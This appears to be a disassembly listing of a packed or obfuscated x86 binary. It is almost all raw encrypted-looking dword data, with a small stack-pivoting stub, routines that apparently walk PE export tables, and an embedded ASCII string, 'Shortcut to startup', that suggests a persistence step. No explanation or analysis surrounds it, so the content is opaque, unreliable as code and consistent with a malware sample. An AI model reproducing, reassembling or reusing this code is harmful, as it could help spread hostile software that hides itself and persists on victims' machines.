dd 0B899B87Eh, 0C38124C7h, 68FF01DFh, 0B587E281h, 0C38122A5h
dd 5EA9DBADh, 40C78166h, 0B70F5385h, 31048FD2h, 0FFEBF0Fh
dd 0C83h, 6870F00h, 81000000h, 712E28F7h, 2EE8369h, 4E4EC68Bh
dd 6DE0B866h, 9E78FE81h, 850FFFFFh, 0FFFFFF9Fh, 5E8h, 0BF575C00h
dd 81669539h, 58DB41EAh, 13E8h, 0A28C0A00h, 53A13DB8h
dd 34821C95h, 0BBB46248h, 0A45D1E76h, 59FFB70Fh, 6E8h
dd 0EE8AD300h, 0F346D98h, 815AC6B7h, 622CC1h, 61BEF800h
dd 60000018h, 23C5EE81h, 9E854F4h, 0E4000000h, 0B26B7176h
dd 47CD4626h, 0A97DD781h, 615A723Ah, 8B0F31FFh, 11h, 0CE9h
dd 388ED700h, 92F1FD27h, 0DE0A50B1h, 19BF5BF6h, 816A2919h
dd 14FE91F3h, 1BE7BA5Ah, 0F381285Ch, 70D4D09Ch, 5820Fh
dd 7ABF0000h, 8128E4FAh, 8464E9EBh, 0E3EF816Eh, 896DFF0Eh
dd 4E98319h, 0DF816653h, 4E5F54DFh, 0FFA6850Fh, 0F080FFFFh
dd 8E85Fh, 0F1300000h, 217CDDCFh, 6E99212h, 0FC000000h
dd 67F2DB4h, 81665A7Dh, 812223F1h, 6C4CC2h, 8E900h, 89DF0000h
dd 0FAC3B3F4h, 687123h, 5B000000h, 14E8h, 94BA2200h, 0BC9BC6CFh
dd 0FA4AFC2Fh, 88FFB8C4h, 127CD8FFh, 0F88B663Fh, 1A348B5Fh
dd 8A0F6060h, 0
dd 0CA8B61F8h, 0CCEE8161h, 0B857200Ah, 102BB1E6h, 8598EE81h
dd 0DF811A76h, 437224F3h, 2A2BEE81h, 0BE9441Ah, 95000000h
dd 0CFBC3BA1h, 0C14A6DFEh, 0E856B116h, 9, 0FFEA5113h, 66C989CAh
dd 7BC0814Ah, 5F571D63h, 661A048Fh, 480EE781h, 0C0816057h
dd 5E299DA4h, 61D78B66h, 0EFEB815Fh, 0F197776h, 0C381F8BFh
dd 197776EBh, 0C1B70F51h, 0C0FB815Fh, 0FFFFF94h, 1C85h
dd 0F98B6600h, 31E9h, 0E5DF1F00h, 4479D5EFh, 2E935D47h
dd 0BAA86F79h, 0EB6D19C2h, 0E18166FCh, 52E95193h, 41FFFFFFh
dd 42419191h, 0F78E9C40h, 0FAA31F73h, 0F8712503h, 0B0E9ACFDh
dd 60000000h, 0F6DA8C66h, 850F04C2h, 0Ch, 2345853Bh, 840F05E9h
dd 36h, 39853Bh, 840F05E9h, 2Ah, 21D5853Bh, 840F05E9h
dd 1Eh, 3321853Bh, 840F05E9h, 12h, 1CA5BD83h, 0F0105E9h
dd 584h, 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh, 784A8B00h
dd 840FC985h, 49h, 0F8C281h, 728B0000h, 8BC8030Ch, 518B1C59h
dd 8BD80314h, 0FC9850Bh, 1084h, 0FCE3B00h, 1782h, 0FCF3B00h
dd 0F83h, 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4E6D9D8Dh
dd 5B805E9h, 0FF000000h, 0BC361E3h, 0A98D8DD0h, 8905EE4Ch
dd 0E926558Dh, 0B5095005h, 5E930D5h, 585C75Eh, 2805E908h
dd 6A000072h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 952C357h, 8B064257h, 0E924E5BDh
dd 3D85C705h, 5E916h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 6C84C351h, 0B5FFD5E1h
dd 5E904BDh, 0FFF18B66h, 0E90BC595h, 3810F05h, 66000000h
dd 8166D98Bh, 6A8D6BD2h, 9595FF00h, 8B05E91Eh, 3869EBC0h
dd 66BA04DFh, 2C0CE625h, 0E92115E1h, 0C4231FF3h, 625EFC83h
dd 5F26FD7Ah, 123E4014h, 0B37BB659h, 0A406C4B8h, 33624131h
dd 1A7D7823h, 909F53C3h, 6C770810h, 0CBC3D20Ah, 67C4F749h
dd 0D98AD4AEh, 9DD7ECE8h, 1A49445Bh, 0F1BF5FF7h, 62FF123Ch
dd 0CBCBD5D1h, 86D70FB1h, 9C3E22CBh, 0DA7FD12Ch, 0FF05FD93h
dd 7FFE51BFh, 1D659D8Dh, 39B805E9h, 89000000h, 0E92AD985h
dd 0E805h, 5580000h, 0Dh, 39E90389h, 0
dd 0Dh dup(77E600h), 0FF77E600h, 68536CEBh, 6374726Fh
dd 74207475h, 7473206Fh, 75747261h, 70h, 13h dup(0)
dd 52CC0000h, 142D8h, 0DAE90000h, 6800000Fh, 5EE4FA2h
dd 0FBFC34E9h, 50A468FFh, 2AE905EEh, 68FFFBFCh, 5EE5266h
dd 0FBFC20E9h, 52A568FFh, 16E905EEh, 68FFFBFCh, 5EE5379h
dd 0FBFC0CE9h, 543068FFh, 2E905EEh, 68FFFBFCh, 5EE58B9h
dd 0FBFBF8E9h, 5B2A68FFh, 0EEE905EEh, 68FFFBFBh, 5EE5C44h
dd 0FBFBE4E9h, 0A259B9FFh, 712A90D3h, 3DFC5FA2h, 0CC72B6Eh
dd 0DE95FA3Dh, 0AF3A4A0Fh, 7DC08F4Ah, 4B8E5D1Ch, 1B5E2DE4h
dd 0AE3302B9h, 0B968524Dh, 0ED13D850h, 0E097F9F8h, 0C483E6F9h
dd 7D3EA007h, 0D73E7F5Dh, 74341175h, 0E79B4A54h, 126CF8C7h
dd 0AEFFFAE1h, 77E3A863h, 0B9257431h, 56D85772h, 167D3AF1h
dd 8439F6B5h, 1EF3BBF8h, 9CAF1D5Eh, 0D9D88C42h, 43h, 0A4DEB03Ah
dd 0E6CC8942h, 66CCDFC6h, 0F7C3EBE6h, 66ACDDBEh, 2FD6846h
dd 0E3A808FDh, 54A360A6h, 0D857E66Eh, 0E2C09151h, 0D88BB269h
dd 0FC0Ah, 46023900h, 0BD2520F4h, 0E6D857F0h, 183BDBA0h
dd 0F9EF2806h, 7623E097h, 3EEBD63Fh, 0E3C11BB4h, 0BB2159BEh
dd 0C027E404h, 79E09D5Eh, 66916017h, 0DDBE468Bh, 0E3DE66C8h
dd 0DDBE35FBh, 85DDB9A4h, 9F6B923Bh, 0C17ADE7Fh, 383BAA1h
dd 0A3B989EDh, 24DF43E4h, 50A38167h, 2FECAB0Dh, 52096F82h
dd 0A70EAF95h, 0EAA412F0h, 0BA1F3219h, 5DB621FFh, 87A10904h
dd 84CADDBEh, 8738A29Dh, 1D63DDBEh, 6A45323Fh, 0F83EE3A8h
dd 10E19D29h, 3B442E29h, 0E92FE643h, 0CF8AEF02h, 2A948FE8h
dd 55D66BBAh, 9BDE310Fh, 0DF98FA36h, 507A7522h, 3BD66BBAh
dd 0C2B5D5F5h, 0CBDD6583h, 9432A265h, 5700000Dh, 226534F7h
dd 0F13403BCh, 0C508D78Eh, 98DBAA61h, 0E4A97833h, 2DE449A0h
dd 0FFBA1B5Eh, 0CF86ED30h, 9C5BBD00h, 0ECE748CDh, 0D850B8C2h
dd 0F99287ADh, 850EDD94h, 78560D72h, 6B3AF153h, 3DA0B314h
dd 0FDDBC17Eh, 1F06FF8Fh, 0A8089F24h, 0C582C8E3h, 57E64876h
dd 8742A7D8h, 43FE63CAh, 0CA8740A2h, 34783965h, 0D3D29F5Fh
dd 0A15AC0h, 3A20DD9Eh, 0B23D0E5Ch, 0C936D88Bh, 97000000h
dd 1E1997F9h, 0DDBEF7B4h, 712EE54Bh, 18387E8Bh, 0D48FF45Bh
dd 0FBE9C817h, 0C82ADDBEh, 5EB7400Fh, 0BEF37B63h, 0FB5D24DDh
dd 193E1C3Ch, 934300B7h, 28230AFBh, 0E3A81E73h, 0D7CC4934h
dd 0E53E14Ch, 86D007EEh, 50AB0E7Ah, 17A3F6D4h, 4EA78E67h
dd 57556B53h, 9CE14D8h, 616AD86Eh, 85F0CED0h, 430FF38Ah
dd 6F569CE6h, 18C2BD16h, 83D66BAFh, 0D53A5F3Dh, 0A70C4F1Eh
dd 7064F9ECh, 0CF92CBDDh, 0C925Fh, 36F55500h, 5BE2467h
dd 0D990F336h, 0A863C70Ah, 7A3196D9h, 4B9EE6ABh, 195C2BE6h
dd 0EF3201B8h, 0BF02D188h, 4ACF9E5Dh, 0A7C4EEE9h, 89AFD850h
dd 0DD94F994h, 0B269CB0Eh, 6015AE3h, 0DDBEF7DCh, 6AA381C7h
dd 23E097F9h, 10A53F76h, 0D480E92Bh, 0B86FD1F6h, 0D0215DE9h
dd 472DEEE9h, 0E9FCE3A8h, 5DEECC83h, 0A70B5A17h, 3CD85786h
dd 0F75E1BD8h, 0D338D990h, 0E9D75B18h, 920FE4A8h, 3C42639h
dd 0EFD76046h, 0E0D85786h, 8289460h, 0D2182557h, 977546F4h
dd 0D88BCBB4h, 32DACE05h, 0F428C85Eh, 0D6B4D48Fh, 1827h
dd 0E2435600h, 0A6846A27h, 8C1F06Dh, 0C41D0000h, 0BEF7E1C9h
dd 66448ADDh, 25DEB02Dh, 366433Eh, 0F93FE3A8h, 0B473D53Ch
dd 0C040A2E5h, 57FA1DC5h, 204086D8h, 3CA3B663h, 0FA1BC3BEh
dd 3E84D857h, 9D7B611Eh, 0EA177C90h, 0FCBD4940h, 0C077DEF1h
dd 1A3F1D03h, 62197EB8h, 0D09FBFA5h, 0D9C72B8Dh, 58EF4F8Ch
dd 0F7799175h, 4C6CBCC1h, 0B3206F2Ch, 33B093D0h, 20797445h
dd 93D0BD25h, 0CEFBE6B0h, 0CEDBCE68h, 0E106E404h, 0B6F9C87Fh
dd 87D69354h, 0B093EE56h, 1FD4A5A9h, 0EC2FFEBDh, 6414D18Ah
dd 0F7F2D92Ah, 8E851BD6h, 0C87FE2F5h, 2C1359EAh, 2200B719h
dd 0A2BE47CFh, 312C13ECh, 90BE2168h, 65E34A11h, 41C4406Ah
dd 0C5E52BA5h, 76605B08h, 21A541C4h, 0D09BBBDBh, 30EB269Dh
dd 3FC92C3h, 12C211Ch, 2F75B4B8h, 33CCC272h, 7AE0F34Ch
dd 7BD6E3C1h, 2CBF5242h, 8AECFFE6h, 667902D1h, 766DA3FFh
dd 0A2029F9Bh, 1DFC582h, 0CEC17ADCh, 0A2EDF983h, 0D02A9A5Dh
dd 9300000Ah, 66A97833h, 35784700h, 14413D2h, 0D417E69Dh
dd 20E5B46Fh, 69208564h, 33F6579Ah, 3BA2164h, 0D88FF134h
dd 28238409h, 0D850A5BEh, 0F9CEC3E9h, 0D4EDE097h, 72C00829h
dd 0A913FAFh, 0F4540000h, 0BF256837h, 93F63908h, 5EC205D4h
dd 2E93D6A5h, 0A5DFA473h, 5524DF44h, 2BFAB112h, 0FBCA81E8h
dd 0C69556B8h, 0FDE5E041h, 0A6D850A5h, 97F98B80h, 0A5A0F9E0h
dd 0DDBEF73Dh, 1422066h, 0D600FB54h, 2DDDBEF7h, 6C520FC6h
dd 163B195Fh, 0A32BFAB1h, 6F80FE1Ah, 5C48D88h, 0A66DE3A8h
dd 98638344h, 955FBC65h, 0FDF6889Ah, 7C261B16h, 296F240Eh
dd 31C2BC6Ch, 74D0374Ah, 0F3C6D3C6h, 3FFC1C7Fh, 0B7107B59h
dd 0C7843FA4h, 5BF603E1h, 722E2427h, 0EAA10619h, 14BE472Dh
dd 0A50EC526h, 0C52600AAh, 18256B0Eh, 26A6100Bh, 8BD10EC5h
dd 0B6FC8D6Bh, 0F955BCCFh, 0AB690D2h, 460323CAh, 4178260h
dd 0D71AE9A2h, 0E8C3B675h, 3E1373A4h, 9BD0B7Bh, 20800000h
dd 0E3498C5Bh, 0B71A5D2Ch, 8AEE3100h, 5ABF02D1h, 790BD09Fh
dd 81500B70h, 4F1EDD3Eh, 1FEEA50Ch, 0F2C17ADCh, 0A9110C6Dh
dd 0D2D850A4h, 7CB3B7ACh, 66C7E73Bh, 7263DEA3h, 67C9EECCh
dd 55B6C9B0h, 15F3D996h, 0CE066DD4h, 0DF3B067h, 1ECF06EDh
dd 5C5AA696h, 1AD790F2h, 0E3361434h, 0BE586EB8h, 0F3083FDDh
dd 450EFB94h, 97E75533h, 0E1329C97h, 175DDDBEh, 5EB710F7h
dd 0BEE17B63h, 0DE24DDh, 0AD525AF3h, 16FD43E3h, 1BEAA103h
dd 0CEB576D8h, 93507A75h, 0F53BD850h, 0A6FD617h, 93258D88h
dd 84ED850h, 5DC42BE8h, 4D86B3A6h, 6124C5E6h, 906F1h, 0B269C900h
dd 813AA0E3h, 4D0C6FB2h, 1CD73B7Eh, 0EEA50A4Dh, 0BF2A5A1Fh
dd 8DD09F5Ah, 5B9E6D2Ch, 2B6E3DF4h, 0BE4312C9h, 0A378625Dh
dd 0FD23D850h, 1997F908h, 0BEF7B41Eh, 0B518DFDDh, 335339F6h
dd 8DEF5613h, 0E28D11CEh, 549DD4ABh, 0A58340AEh, 0F71BAF7h
dd 2E1D8958h, 47D2A334h, 58Bh, 0B8221D76h, 0E3DDBE68h
dd 0B086BF9Dh, 0E53E25DEh, 0BEF7C0EAh, 8765ABDDh, 4428211Ch
dd 8671E3ADh, 6064546Ch, 4A952884h, 6C79411Dh, 8B46AB4Ch
dd 0E1C8E8CEh, 0C32A6CCEh, 49694F0Ch, 32E94F62h, 5EB18F75h
dd 6249BED2h, 7532E94Fh, 0C370B18Fh, 0D59249B0h, 0AD0411EFh
dd 0B252C509h, 843A1F2h, 6D51FD94h, 3Fh, 6F26899Ch, 32E94BB2h
dd 0B0FB3412h, 454027DCh, 0DDBEF79Dh, 22D93F06h, 8CF64502h
dd 0E3FE2659h, 0A108C57Ch, 72C7843Bh, 4C215526h, 6EDDCF8Ch
dd 7F30A20h, 7, 2B4F068h, 0B04F0000h, 853EA4DEh, 0B2837E65h
dd 6BE3AD44h, 0B4196825h, 0EBD850B9h, 0DEB0327Fh, 72433E25h
dd 2BE6430Ah, 84EBFEE5h, 139CEFCDh, 6B17BFBAh, 0B980D662h
dd 0FDE3A057h, 1DD63CDDh, 779C7A60h, 2D959012h, 7CD6626Bh
dd 626B5981h, 0EFFC42D6h, 65CC89A9h, 0A566C800h, 0CA13C885h
dd 0BA9853B7h, 21864F0Ch, 0F7589B6Ah, 0AF107734h, 317A2FECh
dd 2301BA1Eh, 96A92475h, 0D794F832h, 3614FAB7h, 12F9B011h
dd 6B14BEB9h, 397FD662h, 0DFDD085Bh, 0F4D6626Bh, 96EFD68Dh
dd 626A339Bh, 2F165CD6h, 626A8A34h
dd 0D1AFF5D6h, 22D93B7Eh, 0DCB0EA65h, 85E68727h, 0F7DA04FFh
dd 7FC5DDBEh, 0F003945Fh, 2B11CE8Dh, 4C7284Dh, 69327E64h
dd 2B924F06h, 9B500DC4h, 300A420Fh, 80CB397Ah, 0F5D2A2A1h
dd 403h, 475AB356h, 329C25E4h, 5DDDBEF7h, 0AF143917h, 428B37F4h
dd 2BE0B105h, 614944C6h, 0ADDBEF7h, 6623DE43h, 71406080h
dd 5768B1E8h, 122825E0h, 28AA0F34h, 0BE0C852Dh, 0C427EEDDh
dd 42624805h, 429B8222h, 0BE0C9F47h, 8B332EDDh, 0F4DDBE0Ch
dd 7D5BA1AEh, 9434F758h, 1CD990F3h, 0D79453B5h, 0C872F2Ah
dd 0AAF0DDBEh, 0EEA6F3F7h, 0D005561Ch, 9AE5B06Bh, 15BDB838h
dd 0C6DDBE0Ch, 303E3ECAh, 0EA303D44h, 78DE0803h, 83C9DDBEh
dd 28237C63h, 0DDBE78BEh, 84C5A3E9h, 0BE788835h, 0DE9B07DDh
dd 0DF4B315h, 9918F1D6h, 82347BD4h, 8AD0A40h, 81D4B2D2h
dd 6320D73Eh, 0BE3DAF14h, 7C3D23DDh, 9BD250B7h, 1278A310h
dd 2C961FB3h, 57DDBE77h, 4D0E7011h, 7CD55E2Dh, 0BE775981h
dd 1EFC42DDh, 0BF832511h, 0AC63CADDh, 1FE909EFh, 0D2A34A2Bh
dd 0FFFED54Ah, 97F9ABFFh, 77C2F9E0h, 7FB1F3E1h, 0C2D0FAF5h
dd 75BBDDBEh, 964DB455h, 0C02265B8h, 0C29D4540h, 1B06DDBEh
dd 42E3CDA5h, 0AFCFEF7Bh, 993EA3F2h, 975DDBEh, 6A218348h
dd 0B7F3589Bh, 0F0D69356h, 536613D0h, 974EB5EDh, 0EDD4F4DAh
dd 0BE99C8F2h, 8F6DB3DDh, 32F6C182h, 5E9512AEh, 0A3C0A4D8h
dd 44F2D0B9h, 2BB69577h, 6FBFA317h, 20000000h, 3E25DEB0h
dd 0F7C0EAE5h, 0B517DDBEh, 465339F6h, 0BCB72200h, 0E3AD44FBh
dd 52A15EA4h, 0D850BA69h, 0DBC98A4Ah, 0D8910470h, 17D03649h
dd 0B88D3530h, 0B0F6D850h, 2723D2h, 11840000h, 0DDBF0159h
dd 8EF508EFh, 4DB31AD7h, 0D3F3D996h, 0FD69C7F5h, 0F026FFFFh
dd 16h, 6DA50A1Dh, 54325209h, 3CA0B31Bh, 0FEDCC27Fh, 232D0h
dd 97F92F00h, 1D7623E0h, 0BEF7B822h, 30F8E3DDh, 0E11F9818h
dd 0F91EFC1Ch, 8511E097h, 0FE11F809h, 381EDB9Ch, 0B3F4EF5Ah
dd 6CE3A839h, 0B41A6926h, 17D857BCh, 328B1A57h, 57BC8F37h
dd 0D4B2F8D8h, 8C08C586h, 25AED8h, 0B00F0000h, 433E25DEh
dd 0E3A808BEh, 37E4A1E7h, 2B09C224h, 57E6B01Eh, 1E5B1BD8h
dd 8BB29FACh, 0A7D4D8h, 0B3350000h, 623A7A7Ch, 0BDB894AEh
dd 0DDBEA815h, 5318387Eh, 6682CC0Ah, 4290707h, 0C52CE9A2h
dd 85ECA960h, 40A76423h, 234E1DDEh, 0DDBE214Ch, 0DC62C3Fh
dd 678C6A50h, 5064A105h, 0D379FEA4h, 2658E4B3h, 7A8DE6CDh
dd 74815F18h, 0E3AA311Fh, 0C8DBC208h, 96D9A863h, 80877A31h
dd 0EEC5E47Bh, 47DBB2Bh, 0E0400000h, 0A3094C1Bh, 77DA1DECh
dd 4AAEF1C0h, 1A7FC291h, 0B9CB905Fh, 4110CB30h, 0FDE9DFEh
dd 0DFAE65CCh, 0B2813A9Ch, 0E9D1CC2Dh, 92D850AFh, 94F9776Ch
dd 7FE3F6DDh, 5093E6C4h, 0D55E2DEEh, 0CAA85FC2h, 0F97CB391h
dd 0E3A20536h, 0DA7B4026h, 6489676Bh, 0DF8C4902h, 0EFAC67CCh
dd 0BF272209h, 0E8DDBE8Ch, 3D9FC4A2h, 433E977Eh, 0DDBE8C9Bh
dd 404D0E70h, 3DC91CFAh, 0CEC9B041h, 0E3A879FDh, 667960A6h
dd 2A6B4902h, 5771F1DBh, 0B2FFEDD8h, 0E3DE5E30h, 0D85771FBh
dd 0E1EEAD10h, 99947B9Bh, 0E6418428h, 0D05C2B71h, 635E45BEh
dd 0E87FD5EAh, 73866DB3h, 5F8A5910h, 0CC7E294Dh, 0A6A11F86h
dd 0CC7E293Ch, 7D3EA067h, 19BADAC0h, 0EDDFDB4h, 42C2h
dd 0AD112100h, 0F9DDBEF7h, 5FA27184h, 31803DFCh, 0DDBEF789h
dd 68673460h, 0F7AA140Fh, 0ED5DDBEh, 0F3D1F1AAh, 0DDAC6BCEh
dd 0A4DC4154h, 0AC698942h, 5CC3E8C6h, 3499E8A5h, 0A8DDBEF7h
dd 0D53CF1C2h, 0F9F84F1Eh, 0E1F4DB92h, 84DE1E7Ah, 0A54B8842h
dd 0FBE2C885h, 0BEECD600h, 9D7BC1DDh, 328EF55Ch, 9EBF724Bh
dd 0A48BAB5Dh, 98762D91h, 94E5D357h, 7241F85Fh, 0BF8A2147h
dd 0A1A973DDh, 14D2A351h, 6B16C0BBh, 3B81DDBEh, 0FF74AE5Dh
dd 0F90FFFFFh, 3DFC5F97h, 0BD7A9A80h, 6433F456h, 664DA6D8h
dd 0A80D3A6Bh, 0B91CE3E3h, 3F5F4502h, 0DA04FF58h, 0C5D857E1h
dd 0B360A17Fh, 0C3803BA0h, 0CCF2FFDDh, 0EFD857E1h, 0CB80622Fh
dd 0A8D88BD3h, 3Ah, 3A7CB309h, 0C892A27Ah, 0FFB81ABBh
dd 2ADBB321h, 27B3EA43h, 0AE65C9D5h, 6F460BF1h, 9DAA8805h
dd 0E3A8C510h, 0EF3EFB41h, 0D85729C3h, 7D6F2CECh, 0D88C7FCEh
dd 0EBA7h, 97F90800h, 1D7623E0h, 0BEF7B822h, 0BF9DE3DDh
dd 0C17E359Ah, 823FF85Ah, 3302B91Bh, 0BEFB2908h, 4F086ADDh
dd 38EF5568h, 64B7957Bh, 2E41BF21h, 6D5310C7h, 0BEF2FAE4h
dd 3F5FA5DDh, 2AE14558h, 68A9876Dh, 462DC6B8h, 0BF78DAEDh
dd 82399B02h, 96778462h, 8FE3A7F9h, 98F17A49h, 0A8652485h
dd 0FD9139C2h, 0FFAD857h, 0A66E65Eh, 25032397h, 472EC7B7h
dd 43EE394Ch, 0B9A0E6E6h, 0C8C341A6h, 0D66BE01Eh, 54234389h
dd 2F5AC11h, 0CBDD3E09h, 0C2C9C5Fh, 0CF000002h, 9ADDAC6Fh
dd 69AC7B34h, 3D804F06h, 105322D9h, 5C21F0ABh, 0A55CC128h
dd 773293D6h, 47FE65A8h, 14D33578h, 645FC045h, 0D850AC7Ah
dd 0F90AFF25h, 41FA5C94h, 0C4273A21h, 0F79B433Eh, 0BE04DDBEh
dd 1DFBE19Eh, 0E52587CAh, 0CD2B2581h, 0ECE0415Dh, 86DDACCCh
dd 3E25DEB0h, 0A808BE43h, 5FCE7E3h, 890859Ch, 91E09DBDh
dd 0D8573C2Dh, 1F8DCE8Eh, 0D88C6C2Ch, 62197A8Dh, 1FD83EA5h
dd 7E5C7C62h, 0CDCFh, 97F93000h, 8340FB5Fh, 59C07D9Dh
dd 0D3803DF4h, 0FC799C9Ch, 0CC2F8C83h, 4A6A500Dh, 0E442EC85h
dd 0D9B7029Ah, 0BE2B15CCh, 44CC2EDDh, 0BE226149h, 0A4C40ADDh
dd 9047AABDh, 0BC0FEDD3h, 0A3601779h, 836A9BF3h, 0A7298788h
dd 8B5AA0E3h, 4AEA902h, 6FD8572Dh, 0A1DD4B29h, 0BC6E6950h
dd 67E64376h, 67775F5Ah, 4068D66Bh, 623B4854h, 1F844B58h
dd 0A1C1A764h, 0BDDCDDDCh, 91B1E884h, 0F63297AAh, 361CD992h
dd 9F044716h, 0D2E2F1E4h, 8144CBDDh, 0F211h, 9655B500h
dd 651E84C7h, 39F05396h, 8C3276Ah, 0DA91F639h, 0AB3E460Bh
dd 79BC8B46h, 4F926118h, 1F6231E8h, 0AA2FFEBDh, 0AB644E49h
dd 0E90FD850h, 0DD94F9F4h, 0B269CB0Eh, 97F98CE3h, 0A5A0F9E0h
dd 0DDBEF73Dh, 1422066h, 99FE389Ah, 1F3F25E2h, 39CAC450h
dd 44825752h, 0FD43E3ADh, 0B577DF16h, 3B0A721Dh, 5C6F1C5Dh
dd 997F3CF7h, 1C9C6CD4h, 3311A72Ch, 1CEBAC0Eh, 0D9C077D9h
dd 0CD5D8580h, 46D850h, 9592E122h, 3A211B39h, 0FB621FD8h
dd 3CFB5E9Ah, 0BC79997Fh, 0CEF77A31h, 7F6B6C9h, 87763E7Bh
dd 1375BEFBh, 0D196568Dh, 84D0FBFAh, 9AF5D3FBh, 5676BC90h
dd 29E24487h, 0EAA1056Ch, 0DF9CC82Dh, 24F3B416h, 0E1C87FE1h
dd 0B365188h, 4BD9E252h, 9A7C18C2h, 783D8390h, 6E7F7817h
dd 0FC3D1BCBh, 0A8Ch, 907DEB00h, 9E5B1A7Dh, 0F9A1DAB8h
dd 0BE25E299h, 77DE9B5Ch, 359C5910h, 0F15815D4h, 0B118D58Ch
dd 71D8954Ch, 3299560Dh, 0F45B18CFh, 8118D58Eh, 30C268h
dd 241C8900h, 45A968h, 242C8900h, 484D68h, 24048900h, 2B5868h
dd 241C8900h, 0EE4E40BBh, 5BDD8905h, 24048B54h, 6804C483h
dd 0D1h, 8F242C89h, 34FF0840h, 0C4815824h, 4
db 8Bh, 2Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_552BF1
; ---------------------------------------------------------------------------
dd 0CB65DAE1h, 3B535FBBh, 5D5BB8D6h, 0C50305EEh, 9C4BE0FFh
dd 7B417247h, 0A8F47052h, 0DE4B66B9h, 13B6BFEh, 0A4AE644Dh
dd 0E3602EC9h, 5E0714BBh, 0AE400030h, 12EB4FC4h, 1B014BA7h
dd 0EF737622h, 0D3613730h, 7CC026D3h, 0EE972C58h, 76E858BAh
dd 0DB2A24C6h, 0BDCA106Ah, 21761495h, 14CF29F8h, 4E082C6Bh
dd 0CD9C74DAh, 3BB61662h, 0BB206583h, 4DD422B5h, 0E1D4260Bh
dd 1D282E0Dh, 0A6170825h, 6D732A2Ch, 8D3F36A9h, 1971CD0h
dd 8D8D6D6Ah, 5EE5F18h, 3201B529h, 0EE905E9h, 72000000h
dd 54F972B5h, 3B6D29EDh, 894AA578h, 558D8949h, 5305E926h
dd 1D69958Bh, 0C75805E9h, 0E9080585h, 6EAC05h, 41B53300h
dd 0C705E926h, 0E9163D85h, 5, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 8D89C818h
dd 5E910C9h, 321DB5FFh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 3DB36EC3h, 0DBBB66BAh
dd 6810F19h, 1000000h, 0E921BD95h, 0C595FF05h, 6A05E90Bh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 0C539C352h, 8F9E7A0Dh, 44B0DE81h, 6A0B64h
dd 1E9595FFh, 0C08B05E9h, 27840EEBh, 0DABE4B49h, 5E86400Ch
dd 5400A244h, 17CE9h, 0B58DFC00h, 5EE600Eh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0E9C35242h, 0E860F51Fh
dd 0Fh, 53685F8Ah, 92518B92h, 6BA1E5D1h, 0F1D5242h, 87h
dd 8F0F5800h, 5, 4E5228BAh, 858D615Ch, 5EC4E23h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 6EC35242h, 0C767E313h
dd 0ADE4A1F4h, 0D0FFF8A1h, 0FFC6060h, 85h, 0F616100h, 0C8Ch
dd 6840F00h, 0F000000h, 82h, 6AC300h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 5E653FC3h
dd 0E95AE2E9h, 0FAE8DC6h, 180h, 6660F500h, 0B0B9A2B8h
dd 0E96061A9h, 0Ah, 196237FDh, 0AD3650CDh, 666117ABh, 6AD98Ch
dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 4543F3C3h, 0C1F6FCCDh, 4D840F04h, 0E9000000h, 10h, 0BF76FA4Ch
dd 0A74F794Eh, 50D2791Bh, 0C8BFA025h, 0CB8BFB8Bh, 75AEC032h
dd 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh, 1013Fh
dd 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h, 1B8FAh
dd 9EB0000h, 0E4EB008Bh, 0B8h, 8B0FCF00h, 1, 12E9FCF9h
dd 0F7000000h, 4D958AE8h, 78D84B63h, 2164DFD8h, 15C0EFEAh
dd 6785C73Ah, 3F05EE60h, 0EB000101h, 60h, 17h dup(0)
dd 0AFFE900h, 0F3E90000h, 6800000Ah, 5EE68AEh, 0FB1ECAE9h
dd 69C368FFh, 0C0E905EEh, 68FFFB1Eh, 5EE6A49h, 0FB1EB6E9h
dd 1B4282FFh, 0ADDC18FEh, 3E6DAA90h, 0CD003B21h, 618CCAB0h
dd 18A24044h, 0AC92AFDAh, 4127446Bh, 0D4BAD702h, 7D4A679Ah
dd 7BA8EE9Ch, 0DD361327h, 62A17BFFh, 73B49A37h, 0A17AA94Ch
dd 0F913A08Ch, 0D2742CC9h, 0A1BEE526h, 0AB4E81BBh, 1C09297Ch
dd 0A2DE3304h, 197B4573h, 0C100C47Ch, 63A46896h, 0C4A0E3Ch
dd 28643EE1h, 0E0A45CF9h, 3E4977A2h, 0BDFC2964h, 389A6492h
dd 0BDA3400Ah, 5D214F82h, 0FFC3F120h, 4F6694C3h, 0AE487F7h
dd 0A6709ECDh, 6E115503h, 279D16C9h, 1B3C5D8Ah, 0C96E296Dh
dd 0A23FB516h, 334E5EE8h, 872AA01Ch, 254271ADh, 63A1C9F8h
dd 3B6998D5h, 98CBC071h, 0A9FB34D1h, 68CAF533h, 435317C5h
dd 0F3631327h, 8F5987B6h, 13BFF2Dh, 0C283B1CEh, 0F0B15588h
dd 9ED10BE5h, 0DB09A670h, 92551A6Fh, 4B44693Ah, 6A99D632h
dd 5A7B6408h, 0C91AEAACh, 86B1F016h, 741BB82Eh, 0CB17C946h
dd 462943CFh, 0EF000000h, 0A41A6Fh, 1A89CD7Bh, 0A51516C9h
dd 440E3C67h, 597B3EE2h, 0B35786C2h, 3467A17Bh, 0B49CED06h
dd 5789A5ABh, 0E2A452F5h, 0EC16C991h, 68CED976h, 72CAh
dd 0F5310B00h, 1A97D785h, 0A11716C9h, 0AA47113Fh, 0A41A6F7Ch
dd 0BBEA2701h, 7220C38Dh, 16C91A2Ch, 719F3CB2h, 0EAAC5A7Bh
dd 0F416C91Ah, 93B4E17Eh, 1A82C472h, 960C16C9h, 0A1CFFE3Ah
dd 3E803AD7h, 0B716C91Ah, 5A7BAF53h, 0E6144380h, 1AAAEC1Ch
